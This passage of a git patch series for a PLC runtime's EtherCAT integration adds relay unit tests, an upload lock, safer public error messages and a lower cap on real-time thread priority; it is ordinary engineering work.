"\"session\":\"%016llx\"},{\"index\":1,\"endpoint\":\"unix:%s\"," "\"session\":\"%016llx\"}]}", - data_path, (unsigned long long)SESSION_ID); + data_path, (unsigned long long)SESSION_ID, data_path, + (unsigned long long)SESSION_ID); reply(fd, text); } else if (strstr(line, "\"close_data\"")) { atomic_store(&feeding, false); @@ -136,7 +160,7 @@ static void put_le(uint8_t *p, uint64_t v, int n) p[i] = (uint8_t)(v >> (8 * i)); } -/* One input frame every 5 ms while feeding: bit 0 set. */ +/* One input frame per feed_interval_us while feeding: bit 0 set. */ static void *feed_inputs(void *arg) { (void)arg; @@ -147,7 +171,7 @@ static void *feed_inputs(void *arg) memcpy(f, "EDOG", 4); f[4] = 1; f[5] = 2; - f[6] = 0; + f[6] = (uint8_t)atomic_load(&feed_master); f[7] = EDL_FLAG_VALID | EDL_FLAG_WKC_OK; put_le(f + 8, SESSION_ID, 8); put_le(f + 16, ++seq, 4); @@ -155,8 +179,13 @@ static void *feed_inputs(void *arg) put_le(f + 22, 1, 2); f[EDL_FRAME_HEADER] = 0x01; sendto(data_fd, f, sizeof(f), 0, (struct sockaddr *)&client_addr, sizeof(client_addr)); + for (int j = atomic_load(&junk_per_frame); j > 0; j--) { + const uint8_t junk[4] = { 'J', 'U', 'N', 'K' }; + sendto(data_fd, junk, sizeof(junk), 0, (struct sockaddr *)&client_addr, + sizeof(client_addr)); + } } - usleep(5000); + usleep((useconds_t)atomic_load(&feed_interval_us)); } return NULL; } @@ -168,6 +197,14 @@ static IEC_BOOL bool_vals[BUF][8]; static IEC_BOOL *bool_ptrs[BUF][8]; static plugin_runtime_args_t args; static atomic_int input_bit_writes; +static atomic_int n_plc_stop; +static char plc_stop_reason[600]; + +static void fake_request_plc_stop(const char *reason) +{ + snprintf(plc_stop_reason, sizeof(plc_stop_reason), "%s", reason); + atomic_fetch_add(&n_plc_stop, 1); +} static char warnings[4096]; static pthread_mutex_t warn_lock = PTHREAD_MUTEX_INITIALIZER; @@ -251,6 +288,13 @@ void setUp(void) atomic_store(&n_start, 0); atomic_store(&n_stop, 0); atomic_store(&input_bit_writes, 0); + atomic_store(&n_plc_stop, 0); + plc_stop_reason[0] = '\0'; + layout_reply = LAYOUT; + atomic_store(&feed_master, 0); + atomic_store(&feed_interval_us, 5000); + atomic_store(&junk_per_frame, 0); + atomic_store(&configure_priority, 50); warnings[0] = '\0'; pthread_create(&ctl_thread, NULL, serve_control, NULL); pthread_create(&feed_thread, NULL, feed_inputs, NULL); @@ -273,6 +317,7 @@ void setUp(void) args.log_debug = log_quiet; args.log_warn = log_warn; args.log_error = log_warn; + args.request_plc_stop = fake_request_plc_stop; snprintf(args.plugin_specific_config_file_path, sizeof(args.plugin_specific_config_file_path), "%s", mapping_path); } @@ -318,7 +363,7 @@ void test_relay_reconnects_and_warns_when_etherdog_goes_quiet(void) stop_loop(); pthread_mutex_lock(&warn_lock); - TEST_ASSERT_NOT_NULL(strstr(warnings, "link to EtherDOG lost")); + TEST_ASSERT_NOT_NULL(strstr(warnings, "master 0 sent no data for 1 s")); pthread_mutex_unlock(&warn_lock); } @@ -361,3 +406,96 @@ void test_start_before_etherdog_is_ready_retries_until_it_is(void) stop_loop(); TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_stop)); } + +static void write_mapping_entry(const char *index) +{ + FILE *fp = fopen(mapping_path, "w"); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[{\"slave\":1," + "\"index\":\"%s\",\"subindex\":1,\"iec_location\":\"%%IX0.0\"}]}]}", + index); + fclose(fp); +} + +void test_a_mapping_that_cannot_bind_stops_the_bus_and_the_plc_once(void) +{ + write_mapping_entry("0x6999"); /* not in the layout */ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&n_plc_stop, 1, 3000)); + TEST_ASSERT_NOT_NULL(strstr(plc_stop_reason, "0x6999")); + TEST_ASSERT_TRUE(wait_for(&n_stop, 1, 2000)); + + usleep(2500 * 1000); /* longer than the reconnect backoff: no retry may follow */ + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_plc_stop)); + stop_loop(); +} + +void test_malformed_datagrams_do_not_count_as_silence(void) +{ + atomic_store(&feed_interval_us, 200 * 1000); + atomic_store(&junk_per_frame, 20); + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + usleep(2000 * 1000); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NULL(strstr(warnings, "no data for 1 s")); + pthread_mutex_unlock(&warn_lock); +} + +void test_an_unmapped_master_does_not_hide_a_silent_mapped_one(void) +{ + layout_reply = LAYOUT_TWO; + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + atomic_store(&feed_master, 1); /* only the unmapped master keeps sending */ + TEST_ASSERT_TRUE(wait_for(&n_start, 2, 4000)); + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "master 0 sent no data for 1 s")); + pthread_mutex_unlock(&warn_lock); +} + +static atomic_int fifo_attempts; +static atomic_int fifo_priority_seen; + +static void log_watch(const char *fmt, ...) +{ + char line[512]; + va_list ap; + va_start(ap, fmt); + vsnprintf(line, sizeof(line), fmt, ap); + va_end(ap); + const char *p = strstr(line, "SCHED_FIFO("); + if (p != NULL) { + atomic_fetch_add(&fifo_attempts, 1); + atomic_store(&fifo_priority_seen, atoi(p + strlen("SCHED_FIFO("))); + } + pthread_mutex_lock(&warn_lock); + strncat(warnings, line, sizeof(warnings) - strlen(warnings) - 2); + strcat(warnings, "\n"); + pthread_mutex_unlock(&warn_lock); +} + +void test_relay_priority_is_capped_below_the_dispatcher(void) +{ + /* Unprivileged, SCHED_FIFO is refused and the warning names the priority it asked for. */ + atomic_store(&configure_priority, 99); + atomic_store(&fifo_attempts, 0); + atomic_store(&fifo_priority_seen, 0); + args.log_warn = log_watch; + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + stop_loop(); + if (atomic_load(&fifo_attempts) == 0) + TEST_IGNORE_MESSAGE("SCHED_FIFO was granted; the requested priority is not observable"); + TEST_ASSERT_EQUAL_INT(98, atomic_load(&fifo_priority_seen)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&fifo_attempts)); /* only after the link is up */ +} diff --git a/webserver/app.py b/webserver/app.py index 9e67d89d..33657fb2 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -369,7 +369,24 @@ def _upload_has_legacy_ethercat(zip_file, valid_files) -> bool: return legacy_ethercat_config_in_use(conf) +# One upload at a time: from the busy check until the compile thread starts, an upload replaces +# core/generated and the EtherCAT bus configuration. +_upload_lock = threading.Lock() + + def handle_upload_file(data: dict) -> dict: + if not _upload_lock.acquire(blocking=False): + return { + "UploadFileFail": "Another upload is in progress, please wait", + "CompilationStatus": build_state.status.name, + } + try: + return _handle_upload_file(data) + finally: + _upload_lock.release() + + +def _handle_upload_file(data: dict) -> dict: if build_state.status == BuildStatus.COMPILING: return { "UploadFileFail": "Runtime is compiling another program, please wait", diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index afcaf600..cf20a734 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -21,6 +21,7 @@ import time from collections import deque from dataclasses import dataclass +from enum import Enum from pathlib import Path from typing import Any @@ -51,8 +52,45 @@ ) +class EtherDogErrorKind(Enum): + """Why EtherDOG is unavailable, as told to API clients.""" + + NOT_INSTALLED = "not_installed" + CANNOT_START = "cannot_start" + NPCAP_MISSING = "npcap_missing" + MISSING_LIBRARY = "missing_library" + REPEATED_EXITS = "repeated_exits" + UNREACHABLE = "unreachable" + + +PUBLIC_MESSAGES: dict[EtherDogErrorKind, str] = { + EtherDogErrorKind.NOT_INSTALLED: "EtherDOG is not installed", + EtherDogErrorKind.CANNOT_START: "EtherDOG cannot be started", + EtherDogErrorKind.NPCAP_MISSING: NPCAP_REASON, + EtherDogErrorKind.MISSING_LIBRARY: "EtherDOG cannot load a required library", + EtherDogErrorKind.REPEATED_EXITS: "EtherDOG stopped after exiting repeatedly", + EtherDogErrorKind.UNREACHABLE: "EtherDOG is not reachable", +} +DEFAULT_PUBLIC_MESSAGE = "The EtherCAT master is unavailable" + + class EtherDogUnavailable(RuntimeError): - """EtherDOG is not installed, not running, or refused the request.""" + """EtherDOG is not installed, not running, or refused the request. + + The message carries the detail for the server log; ``public_message`` is what a client sees. + """ + + def __init__(self, detail: str, kind: EtherDogErrorKind | None = None) -> None: + super().__init__(detail) + self.kind = kind + + @property + def public_message(self) -> str: + return ( + PUBLIC_MESSAGES.get(self.kind, DEFAULT_PUBLIC_MESSAGE) + if self.kind + else DEFAULT_PUBLIC_MESSAGE + ) @dataclass @@ -106,7 +144,11 @@ def __init__( self._running = False self._exit_times: list[float] = [] self._disabled_reason: str | None = None + self._disabled_kind: EtherDogErrorKind | None = None self._monitor: threading.Thread | None = None + # Serialises start, spawn and stop; separate from _lock, which apply_busconfig holds. + self._lifecycle = threading.Lock() + self._stopping = threading.Event() # --- process lifecycle ------------------------------------------------------------- @@ -121,19 +163,35 @@ def disabled_reason(self) -> str | None: def start(self) -> None: """Start EtherDOG (if installed) and keep it running. Never raises: without EtherDOG - the runtime still runs, only EtherCAT is unavailable.""" - if not self.installed: - self._disable(f"EtherDOG is not installed at {self.paths.binary}") - return - self._disabled_reason = None - self._exit_times.clear() - self._running = True - self._monitor = threading.Thread(target=self._supervise, daemon=True) - self._monitor.start() + the runtime still runs, only EtherCAT is unavailable. A no-op while already supervised.""" + with self._lifecycle: + monitor = self._monitor + if monitor is not None and monitor.is_alive(): + if self._running: + return + # A supervisor that just disabled EtherDOG or was stopped is returning + monitor.join(timeout=LEFTOVER_KILL_TIMEOUT_S) + if monitor.is_alive(): + return + if not self.installed: + self._disable( + f"EtherDOG is not installed at {self.paths.binary}", + EtherDogErrorKind.NOT_INSTALLED, + ) + return + self._disabled_reason = None + self._disabled_kind = None + self._exit_times.clear() + self._stopping.clear() + self._running = True + self._monitor = threading.Thread(target=self._supervise, daemon=True) + self._monitor.start() def stop(self) -> None: + self._stopping.set() self._running = False - proc = self._process + with self._lifecycle: + proc = self._process if proc is not None and proc.poll() is None: try: self.command({"command": "shutdown"}, timeout=5.0) @@ -147,10 +205,14 @@ def stop(self) -> None: proc.wait(timeout=5) except subprocess.TimeoutExpired: logger.error("EtherDOG (pid %d) did not exit after SIGKILL", proc.pid) + monitor = self._monitor + if monitor is not None and monitor is not threading.current_thread(): + monitor.join(timeout=LEFTOVER_KILL_TIMEOUT_S + READY_TIMEOUT_S) - def _disable(self, reason: str) -> None: + def _disable(self, reason: str, kind: EtherDogErrorKind | None = None) -> None: self._running = False self._disabled_reason = reason + self._disabled_kind = kind logger.warning("%s. EtherCAT is disabled; the runtime continues without it.", reason) try: _write_private(self.paths.session_file, json.dumps({"disabled": reason}) + "\n") @@ -187,19 +249,23 @@ def _spawn(self) -> bool: ] self._output.clear() self._ready = False - try: - self._write_session() - self._process = subprocess.Popen( - cmd, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - text=True, - bufsize=1, - ) - except OSError as e: - self._process = None - self._disable(f"EtherDOG cannot be started: {e}") - return False + with self._lifecycle: + # A stop() during the leftover cleanup or a restart must not leave a new process + if self._stopping.is_set(): + return False + try: + self._write_session() + self._process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + ) + except OSError as e: + self._process = None + self._disable(f"EtherDOG cannot be started: {e}", EtherDogErrorKind.CANNOT_START) + return False self._pump = threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True) self._pump.start() if self._wait_ready(timeout=READY_TIMEOUT_S): @@ -242,7 +308,7 @@ def _record_exit(self) -> bool: def _supervise(self) -> None: self._kill_leftovers() - if not self._spawn(): + if self._stopping.is_set() or not self._spawn(): return while self._running: proc = self._process @@ -263,12 +329,13 @@ def _supervise(self) -> None: if reason is not None: for line in output[-5:]: logger.error("[ETHERDOG] %s", line) - self._disable(reason) + self._disable(reason, _fatal_exit_kind(reason)) return if self._record_exit(): self._disable( f"EtherDOG exited {MAX_RAPID_EXITS} times within {RAPID_EXIT_WINDOW_S:.0f} s " - f"(last exit code {code})" + f"(last exit code {code})", + EtherDogErrorKind.REPEATED_EXITS, ) return logger.warning("EtherDOG exited (code %s); restarting", code) @@ -280,9 +347,9 @@ def _supervise(self) -> None: def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, Any]: """Send one command and return EtherDOG's JSON reply.""" if self._disabled_reason is not None: - raise EtherDogUnavailable(self._disabled_reason) + raise EtherDogUnavailable(self._disabled_reason, self._disabled_kind) if not self.installed: - raise EtherDogUnavailable("EtherDOG is not installed") + raise EtherDogUnavailable("EtherDOG is not installed", EtherDogErrorKind.NOT_INSTALLED) try: with _connect(self.paths.control, timeout) as sock: sock.settimeout(timeout) @@ -295,7 +362,9 @@ def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, A sock.sendall(json.dumps(request).encode() + b"\n") line = reader.readline() except (OSError, ValueError) as e: - raise EtherDogUnavailable(f"EtherDOG unreachable: {e}") from e + raise EtherDogUnavailable( + f"EtherDOG unreachable: {e}", EtherDogErrorKind.UNREACHABLE + ) from e if not line: raise EtherDogUnavailable("EtherDOG closed the connection") try: @@ -305,11 +374,15 @@ def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, A return result if isinstance(result, dict) else {"error": "invalid reply from EtherDOG"} def plugin_style_command(self, request: dict[str, Any], timeout: float) -> dict[str, Any]: - """Same contract as RuntimeManager.send_plugin_command: errors come back as {"error"}.""" + """Same contract as RuntimeManager.send_plugin_command: errors come back as {"error"}. + + The error is a fixed message per failure kind; the detail (paths, OS errors) is logged. + """ try: return self.command(request, timeout=timeout) except EtherDogUnavailable as e: - return {"error": str(e)} + logger.warning("EtherDOG command %s failed: %s", request.get("command"), e) + return {"error": e.public_message} # --- bus configuration ----------------------------------------------------------------- @@ -340,6 +413,14 @@ def apply_busconfig(self, source: Path | None) -> None: self.start() +def _fatal_exit_kind(reason: str) -> EtherDogErrorKind | None: + if reason == NPCAP_REASON: + return EtherDogErrorKind.NPCAP_MISSING + if "required library" in reason: + return EtherDogErrorKind.MISSING_LIBRARY + return None + + def _fatal_exit_reason(code: int, output: list[str]) -> str | None: """Why EtherDOG can never start as installed, or None when a restart may help.""" text = "\n".join(output).lower() From ef53a22a6f3f417e5ce5ea141d48c6aa8667f903 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Mon, 5 Oct 2026 19:37:31 -0400 Subject: [PATCH 22/22] fix(ethercat): keep the relay below the dispatcher's new priority The task policy merged from development moves the dispatcher to 98 and the watchdog to 99, so the relay is capped at 97. Co-Authored-By: Claude Opus 5.5 (1M context) --- core/src/drivers/plugins/native/ethercat/ethercat_plugin.c | 4 ++-- tests/test_ethercat_relay.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index 57b484ae..878c9c85 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -41,8 +41,8 @@ /* Used when the bus configuration gives no task_priority; EtherDOG's own default is 90. */ #define DEFAULT_RELAY_PRIORITY 90 -/* plc_state_manager reserves 99 for the dispatcher; workers stay at or below 98. */ -#define MAX_RELAY_PRIORITY 98 +/* Below the runtime's dispatcher (PLC_FIFO_DISPATCHER, 98) and watchdog (99), task_policy.h. */ +#define MAX_RELAY_PRIORITY 97 #define RECV_TIMEOUT_MS 100 #define SILENCE_RECONNECT_MS 1000 #define RECONNECT_BACKOFF_MS 1000 diff --git a/tests/test_ethercat_relay.c b/tests/test_ethercat_relay.c index d2b34d22..64c8f7af 100644 --- a/tests/test_ethercat_relay.c +++ b/tests/test_ethercat_relay.c @@ -496,6 +496,6 @@ void test_relay_priority_is_capped_below_the_dispatcher(void) stop_loop(); if (atomic_load(&fifo_attempts) == 0) TEST_IGNORE_MESSAGE("SCHED_FIFO was granted; the requested priority is not observable"); - TEST_ASSERT_EQUAL_INT(98, atomic_load(&fifo_priority_seen)); + TEST_ASSERT_EQUAL_INT(97, atomic_load(&fifo_priority_seen)); TEST_ASSERT_EQUAL_INT(1, atomic_load(&fifo_attempts)); /* only after the link is up */ }